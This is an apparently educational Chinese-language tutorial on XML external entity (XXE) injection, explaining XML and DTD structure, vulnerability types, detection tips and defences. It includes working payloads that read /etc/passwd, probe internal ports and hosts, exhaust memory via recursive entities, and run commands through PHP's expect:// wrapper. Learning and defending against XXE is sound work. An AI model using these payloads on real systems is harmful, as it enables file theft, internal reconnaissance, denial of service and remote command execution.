XXE(XML外部实体注入)详解
目录
一、XXE漏洞简介
二、XML详解
(一) XML文档结构
1. 文档声明
2. XML文档类型定义(DTD)
3. XML文档元素
4. XML文档示例
三、XXE漏洞类型
四、XXE漏洞挖掘技巧
五、XXE漏洞危害
(一) 文件读取
(二) 内网探测
1. 端口探测
2. 主机存活探测
(三) DOS攻击
(四) RCE
六、XXE漏洞防御
一、XXE漏洞简介
攻击者通过在XML数据中恶意构造外部实体声明(利用SYSTEM关键词),诱使XML解析器(后端语言支持多种XML解析器)读取本地受保护文件或访问远程资源,从而导致敏感信息泄露或SSRF、DOS等安全缺陷。
漏洞存在的前提条件:
- 后端调用
xml
解析器 xml
解析器开启了外部实体- 应用程序接受用户的
xml
输入且未过滤<!DOCTYPE>
或<!ENTITY>
。 - 注:网站开发使用的框架或库亦或是协议(SAML/SOAP)可能会隐式调用xml解析器。
二、XML详解
XML(eXtensible Markup Language,可扩展标记语言) 是一种用于存储和传输数据的标记语言(敏感大小写),类似 HTML,但它的目的不是“显示”,而是“描述数据结构”。
(一) XML文档结构
1. 文档声明
XML 的第一行通常是声明版本和编码格式:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
#version 指定XML版本,常用1.0或1.1
#encoding 指定字符编码(如UTF-8、ISO-8859-1),默认是UTF-8。
#standalone(可选) 表示是否依赖外部定义(yes表示独立,no表示可能引用外部DTD)
注:声明必须位于文档开头,不能有前置空格或空行。如果省略,解析器可能假定默认值。
2. XML文档类型定义(DTD)
定义 XML 中允许的元素、属性、结构等(类似模板),可以是本地定义,也可以引用外部文件。
DTD的组成:
<!DOCTYPE>
:XML文档类型声明_作为 DTD 的入口,指定根元素并引入这些定义(内部或外部)。<!ELEMENT>
:XML类型定义_定义元素及其内容模型(如子元素或文本)<!ATTLIST>
:XML类型定义_定义元素的属性及其类型、默认值<!ENTITY>
:XML类型定义_定义可重用的实体(如常量或外部资源)
XML文档定义类型有两种写法:
- 内部DTD定义
- <!DOCTYPE 根元素 [元素声明]>
- 定义在XML文档内部。
<!DOCTYPE user [< user (id, name)><!ELEMENT id (#PCDATA)><!ELEMENT name (#PCDATA)>
]>
- 外部DTD引用
- <!DOCTYPE 根元素 SYSTEM "文件名">
- 引用外部文件
<!DOCTYPE user SYSTEM "http://xx.com/xx.dtd">
关于<!ENTITY>定义实体的三种类型:
- 内部实体
- 引用:&实体名称;
<!ENTITY 实体名称 "实体的值">
<!ENTITY test "123">
- 外部实体
- 引用:&实体名称;
- SYSTEM用来定义一个“外部实体
<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY xxe SYSTEM "file:///etc/passwd">
- 参数实体
- 用 % 声明实体名称
- 引用:%实体名称;
<!ENTITY %实体名称 "实体的值">
或者<!ENTITY %实体名称 SYSTEM "URI">
3. XML文档元素
XML 的主体结构就是由元素组成的,元素是成对的标签,如 <tag></tag>
,支持嵌套(树形结构))。
组成部分:
- 根元素:XML文档必须有且仅有一个根元素,包含所有其他元素。
- 子元素:嵌套在根元素或其他元素内,表达数据的层级关系。
- 属性:附加在元素标签中的键值对,提供额外信息。
- 文本内容:元素标签之间的数据(
#PCDATA
表示解析文本数据)。
元素组成规则:
- 根元素:
<user>...</user>
(整个 XML 只能有一个根元素)- 在 XML 中,谁是最外层包裹所有内容的元素,谁就是“根元素”
- 子元素:
<id>,
<name>
(可以嵌套,层级结构) - 属性(可选):
<user id="123">
(元素也可以用属性来表示数据)
<!-- 元素方式、元素通常用来表示复杂的数据结构 -->
<age>18</age><!-- 属性方式、属性适合存储附加信息 -->
<user age="18"/>
4. XML文档示例
- 内部DTD
<?xml version="1.0" encoding="UTF-8"?> <-- 1. XML 声明
<!DOCTYPE user [ <-- 2. DTD(内部或外部)<!ELEMENT user (id, name)> <-- 定义根元素 user<!ELEMENT id (#PCDATA)> <-- 定义元素 <id> 的内容只能是文本数据<!ELEMENT name (#PCDATA)> <-- 定义元素 <name> 的内容只能是文本数据
]>
<user> <-- 3. 元素部分<id>123</id><name>兔八哥</name>
</user>
- 外部DTD
- 外部 DTD 文件(user.dtd):
<!ELEMENT user (id, name)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT name (#PCDATA)>
- XML 文件(引用外部 DTD):
<?xml version="1.0" encoding="UTF-8"?> <!-- 1. XML 声明 -->
<!DOCTYPE user SYSTEM "user.dtd"> <!-- 2. 外部 DTD 引用 -->
<user> <!-- 3. 元素部分 --><id>123</id><name>兔八哥</name>
</user>
三、XXE漏洞类型
- 正常回显XXE
- xml数据被后端语言调用xml解析器处理成功,并且数据在网站中存在回显位。
- 无回显(盲)XXE
- xml数据被后端语言调用xml解析器处理成功,数据在网站中不存在回显位。
- 报错XXE
- xml数据被后端语言调用xml解析器在解析器处理过程中访问受限或不存在的资源或其他行为,触发异常回显。
四、XXE漏洞挖掘技巧
1.看是否有接口的请求或响应中带有:
Content-Type: application/xml
Content-Type: application/soap+xml
- 类似带有xml格式的内容,都可能存在解析xml代码的情况。
2.查看数据格式是否符合xml特征
- 如标签成对出现
<a></a>
<id>123</id><name>兔八哥</name>
3.更改Content-Type请求头为xml类型,请求体修改任意xml内容。
- 查看反馈结果,判断目标是否能解析xml。
Content-Type: application/xml<?xml version="1.0"?>
<data><msg>test</msg></data>
五、XXE漏洞危害
(一) 文件读取
PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件,还可利用PHP伪协议。
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
(二) 内网探测
1. 端口探测
<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">
]>
<msg>&xxe;</msg>
2. 主机存活探测
<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://192.168.1.10">
]>
<msg>&xxe;</msg>
(三) DOS攻击
通过递归实体生成指数级内容,耗尽 CPU 和内存。
<?xml version="1.0"?>
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<root>&lol3;</root>
(四) RCE
expect://
是 PHP 的 expect 扩展提供的协议,允许执行系统命令(如 expect://ls
执行 ls
命令)。
通过 PHP 的 expect://
协议执行系统命令(如 expect://ls
)。
注:基本上网站都不会安装expect扩展,RCE在XXE漏洞中少见。
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>
六、XXE漏洞防御
禁用外部实体、过滤关键字(如<!DOCTYPE
、<!ENTITY
、 SYSTEM
等 )、使用WAF产品。